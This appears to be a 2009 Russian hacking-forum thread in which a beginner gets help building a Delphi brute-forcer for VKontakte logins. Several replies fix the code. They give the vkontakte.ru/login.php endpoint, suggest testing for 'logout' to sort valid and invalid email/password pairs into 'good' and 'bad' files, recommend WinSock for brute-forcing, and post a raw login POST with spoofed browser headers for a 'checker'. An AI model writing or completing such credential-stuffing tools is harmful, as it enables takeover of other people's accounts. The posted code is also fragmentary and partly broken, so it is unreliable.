Авторизация в контакте[DELPHI]

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Ant1Player, 9 Aug 2009.

  1. Ant1Player

    Ant1Player New Member

    Joined:
    21 Nov 2008
    Messages:
    33
    Likes Received:
    1
    Reputations:
    0
    Кому не трудно помогите начинающему програмисту :rolleyes: выложить тут исходник с этим кодом
    P.S. Поступил на первый курс в техникум :D сайт не брошу ;)

    PHP:
    procedure Brute();
    var
      
    emails:TStingList;  
      
    pass:TStingList;   
      
    post:TStingList;  
      
    i,j:integer;         
    begin
     email
    :=TStringList.Createpass:=TStringList.Create;

      
    http:=TidHTTP.Create(nil);      
      
    http.HandleRedirects:=true;   
      
    post:=tstringlist.Create;  
      for 
    i:=0 to emails.Count-do begin  
        post
    .Clear
        
    post.Add('email='+emails.Strings[i]);  
        for 
    j:=0 to pass.Count-do begin        
          post
    .Add('pass='+pass.Strings[j]);     
          
    result:=http.Post('/',post); 
          if 
    pos('',result)>;0 then 
    else
           
         
        
    end;
      
    end;
     
     
      
    emails.Free;
      
    pass.Free;
      
    http.Free;
      
    post.Free;
    end;
    прост меня интересует код с then и else можно и на сокетах выложить...
    P.S.S. не над ругаться типо тема уже была с авторизацией. меня интересует именно с then и else
    (что делать если пасс пральны и что если не правильный)
     
    #1 Ant1Player, 9 Aug 2009
    Last edited: 9 Aug 2009
  2. ZdezBilYa

    ZdezBilYa Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    198
    Likes Received:
    75
    Reputations:
    19
    не понятно.... а где вообще then? и что за запрос такой интересный со слешем?

    аа... then нашел... ну прикольный код))
     
  3. Jes

    Jes Elder - Старейшина

    Joined:
    16 Apr 2007
    Messages:
    370
    Likes Received:
    391
    Reputations:
    34
    Code:
      if pos('',result)>;0 then 
    else 
    hmm , а это что вообще такое ?
     
  4. ZdezBilYa

    ZdezBilYa Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    198
    Likes Received:
    75
    Reputations:
    19
    видимо в этом и вопрос:
    если пасс правильный - записывай в один файл, если нет - в другой
     
  5. Ant1Player

    Ant1Player New Member

    Joined:
    21 Nov 2008
    Messages:
    33
    Likes Received:
    1
    Reputations:
    0
    PHP:
     procedure Brute(); 
    var 
      
    emails:TStingList;   
      
    pass:TStingList;    
      
    post:TStingList;   
      
    i,j:integer;          
    begin 
     email
    :=TStringList.Createpass:=TStringList.Create

      
    http:=TidHTTP.Create(nil);       
      
    http.HandleRedirects:=true;    
      
    post:=tstringlist.Create;   
      for 
    i:=0 to emails.Count-do begin   
        post
    .Clear;  
        
    post.Add('email='+emails.Strings[i]);   
        for 
    j:=0 to pass.Count-do begin         
          post
    .Add('pass='+pass.Strings[j]);      
          
    result:=http.Post('/',post);  
          if 
    pos('',result)>;0 then  

    ///////
    //тут будет код
    ///////

    else 

    ///////
    //и тут
    //////
          
        
    end
      
    end
      
      
      
    emails.Free
      
    pass.Free
      
    http.Free
      
    post.Free
    end
    я вот хз как его дароботать шоб оно работало =))
    странный код и я хз какие там компоненты нужны я грю новичек поетому и прошу обработать это в исходник... :rolleyes:
     
  6. ZdezBilYa

    ZdezBilYa Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    198
    Likes Received:
    75
    Reputations:
    19
    ничего себе "доработать"...
    если решил авторизовываться в контакте, то надо знать параметры запроса и адрес.
    Вместо адреса слеш стоит, а надо "http://vkontakte.ru/login.php".
    После then записываешь пару "пароль;мыло" в файл "good", после else - в файл "bad". Например так.

    Компоненты Indy нужны. Есть в программе?
     
  7. Ant1Player

    Ant1Player New Member

    Joined:
    21 Nov 2008
    Messages:
    33
    Likes Received:
    1
    Reputations:
    0
    Что не так? останавливаетсяя на result
    PHP:
    unit Unit1;

    interface

    uses
      Windows
    MessagesSysUtilsVariantsClassesGraphicsControlsForms,
      
    DialogsStdCtrlsIdBaseComponentIdComponentIdTCPConnection,
      
    IdTCPClientIdHTTP;

    type
      TForm1 
    = class(TForm)
        
    IdHTTP1TIdHTTP;
        
    Button1TButton;
        
    procedure Button1Click(SenderTObject);
      private
        { Private 
    declarations }
      public
        { Public 
    declarations }
      
    end;

    var
      
    Form1TForm1;

    implementation

    {$R *.dfm}

    procedure TForm1.Button1Click(SenderTObject);
    var
      
    emails:TStringList;
      
    pass:TStringList;
      
    post:TStringList;

      
    i,j:integer;
      
    http:TidHTTP;
    begin
     emails
    :=TStringList.Create;
     
    pass:=TStringList.Create;
     
    emails.Add('****@mail.ru');
     
    pass.Add('******');
      
    http:=TidHTTP.Create(nil);
      
    http.HandleRedirects:=true;
      
    post:=tstringlist.Create;
      for 
    i:=0 to emails.Count-do begin
        post
    .Clear;
        
    post.Add('email='+emails.Strings[i]);
        for 
    j:=0 to pass.Count-do begin
          post
    .Add('pass='+pass.Strings[j]);
          
    result :=http.Post('http://vkontakte.ru/login.php',post);
          if 
    pos('',result)>;0 then
          ShowMessage
    ('Не правильно ');

    ///////
    //тут будет код
    ///////

    else  
             
    ShowMessage('правильно ');
    /////// 
    //и тут 
    ////// 
           
        
    end;  
      
    end;  
       
       
      
    emails.Free;  
      
    pass.Free;  
      
    http.Free;  
      
    post.Free;

    end.
     
  8. ZdezBilYa

    ZdezBilYa Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    198
    Likes Received:
    75
    Reputations:
    19
    Ошибка какая??
    Возможно не хватает обязательных параметров. Посмотри снифером.
    Возможно заголовки нужны
     
  9. Ant1Player

    Ant1Player New Member

    Joined:
    21 Nov 2008
    Messages:
    33
    Likes Received:
    1
    Reputations:
    0
    Build
    [Error] Unit1.pas(49): Undeclared identifier: 'result'
    [Error] Unit1.pas(50): Incompatible types
    [Error] Unit1.pas(75): Statement expected but end of file found
    [Fatal Error] Project2.dpr(5): Could not compile used unit 'Unit1.pas'

    49 строка ето result :=http.Post('http://vkontakte.ru/login.php',post);
     
  10. ZdezBilYa

    ZdezBilYa Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    198
    Likes Received:
    75
    Reputations:
    19
    result не определен как string.
    + pos('logout',result) вот что должно быть в if (т.е. какое-то слово, которое присутствует на странице после входа)
    + походу end не хватает после post.free
     
    #10 ZdezBilYa, 9 Aug 2009
    Last edited: 9 Aug 2009
    4 people like this.
  11. Ant1Player

    Ant1Player New Member

    Joined:
    21 Nov 2008
    Messages:
    33
    Likes Received:
    1
    Reputations:
    0
    есть еще какаято ошибка всегда пишит правильно даже если не пральный логин с паролем...
    только если правильно думает больше програма..
    PHP:
    unit Unit1;

    interface

    uses
      Windows
    MessagesSysUtilsVariantsClassesGraphicsControlsForms,
      
    DialogsIdBaseComponentIdComponentIdTCPConnectionIdTCPClient,
      
    IdHTTPStdCtrls;

    type
      TForm1 
    = class(TForm)
        
    Button1TButton;
        
    IdHTTP1TIdHTTP;
        
    procedure Button1Click(SenderTObject);
      private
        { Private 
    declarations }
      public
        { Public 
    declarations }
      
    end;

    var
      
    Form1TForm1;

    implementation

    {$R *.dfm}

    procedure TForm1.Button1Click(SenderTObject);
    var 
      
    emails:TStringList;
      
    pass:TStringList
      
    post:TStringList;
      
    result:String;

      
    i,j:integer;
      
    http:TidHTTP;
    begin 
     emails
    :=TStringList.Create;
     
    pass:=TStringList.Create;
     
    emails.Add('[email protected]');
     
    pass.Add('23425');
      
    http:=TidHTTP.Create(nil);
      
    http.HandleRedirects:=true;
      
    post:=tstringlist.Create;
      for 
    i:=0 to emails.Count-do begin
        post
    .Clear;
        
    post.Add('email='+emails.Strings[i]);
        for 
    j:=0 to pass.Count-do begin
          post
    .Add('pass='+pass.Strings[j]);
          
    result :=http.Post('http://vkontakte.ru/login.php',post);
          if 
    pos('logout',result)>0
          then
          ShowMessage
    ('Не правильно ')


    else
             
    ShowMessage('правильно ')


        
    end;
              
    end;
                
    emails.Free;
      
    pass.Free;
      
    http.Free;
      
    post.Free;
           
    end;



    end.

     
  12. ZdezBilYa

    ZdezBilYa Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    198
    Likes Received:
    75
    Reputations:
    19
    значит всё верно) ибо по программе как раз и получается, что если на странице есть слово "logout", то сообщение - "не правильно"
    поменяй местами сообщения и потестируй на валидном и невалидном аккаунтах
     
  13. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    http://forum.antichat.ru/showpost.php?p=788789&postcount=11
     
  14. Ant1Player

    Ant1Player New Member

    Joined:
    21 Nov 2008
    Messages:
    33
    Likes Received:
    1
    Reputations:
    0
    mailbrush эт не то.. да и сокеты я пока не изучал..
     
  15. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Инди не подходит для написания брутов. WinSock || WinInet - самое оно.
     
  16. Ant1Player

    Ant1Player New Member

    Joined:
    21 Nov 2008
    Messages:
    33
    Likes Received:
    1
    Reputations:
    0
    да мне и этот пойдет мне ведь сразу много не над мыло одновременно а чисто 2 поля под мыло и пасс булет..
    прост надо разобраться с этим if pos('logout',result)>0
    почему он всегда else выдает то...
     
  17. ZdezBilYa

    ZdezBilYa Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    198
    Likes Received:
    75
    Reputations:
    19
    Возможно не хватает обязательных параметров.
    Возможно заголовки нужны
    Это снифером можно посмотреть
     
  18. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    Ant1Player не страдай херней.... De-visible и так все уже разжевал в министатейке.

    Во первых заголовки HTTP должны быть правельные. User-Agent, Referer, Connection, Content-Type это все важно!

    Во вторых данные в пост запросе имеют такой вид:
    param1=value1&param2=value2\r\n\r\n

    а как у тебя там в TStringList ? в какой кодировке? в ANSI в UNICODE? может там
    param1=value1\nparam2=value2\n ?

    В общем для "просто разобратся" тренеруйся на самописной форме...
    скачай Denver установи и создай файл

    Z:\home\localhost\www\post.php:
    PHP:
    <?php
    if(empty($_POST)) {
        echo 
    "<form method=post><input type=text name=login> <input type=password name=pass></form>"; }
    else {
        echo 
    $_POST['login'].':'.$_POST['pass']; }
    ?>
    и не мучай людям моск... удаче!
     
    _________________________
  19. mr. ZetRikS

    mr. ZetRikS New Member

    Joined:
    17 Jul 2009
    Messages:
    45
    Likes Received:
    2
    Reputations:
    0
    Помоему на сокетах это состряпать проще буит, отснифав пакет когда логинишься на вконтакт... кинул бы линк на другой ресурс, но не хочу выглядеть рекламщиком других ресурсов...

    PHP:
    '
            POST /login.php HTTP/1.1'
    +#13#10+
            
    'Host: vkontakte.ru'+#13#10+
            
    'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'+#13#10+
            
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'+#13#10+
            
    'Accept-Language: ru,en-us;q=0.7,en;q=0.3'+#13#10+
            
    'Accept-Encoding: gzip,deflate'+#13#10+
            
    'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'+#13#10+
            
    'Keep-Alive: 300'+#13#10+
            
    'Connection: keep-alive'+#13#10+
            
    'Referer: http://vkontakte.ru/index.php'+#13#10+
            
    'Cookie: remixlang=0; remixchk=5'+#13#10+
            
    'Content-Type: application/x-www-form-urlencoded'+#13#10+
            
    'Content-Length: 42'+#13#10+
            #13#10+
            
    'email='+email+'&pass='+pass+
            
    #13#10;
    создаёшь процедурку в которой спрашиваешь email и pass, которые походу меняешь если нуна, весь этот код присваиваешь перемеенной типа стринг и шлёшь...

    А вообще и тут де то это уже обсуждалось, если мне память не изменяет... и гугл вроде является поисковой системой...


    P.S. чекер or checker вконтакте
     
    #19 mr. ZetRikS, 11 Aug 2009
    Last edited: 11 Aug 2009
  20. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    936
    Likes Received:
    162
    Reputations:
    27
    Не во всех случаях. При GET запросе можно оставить, например, только значение поля Host, но это не рекомендуется делать в реальных проектах.

    Ты ошибаешься: \r\n\r\n - лишние.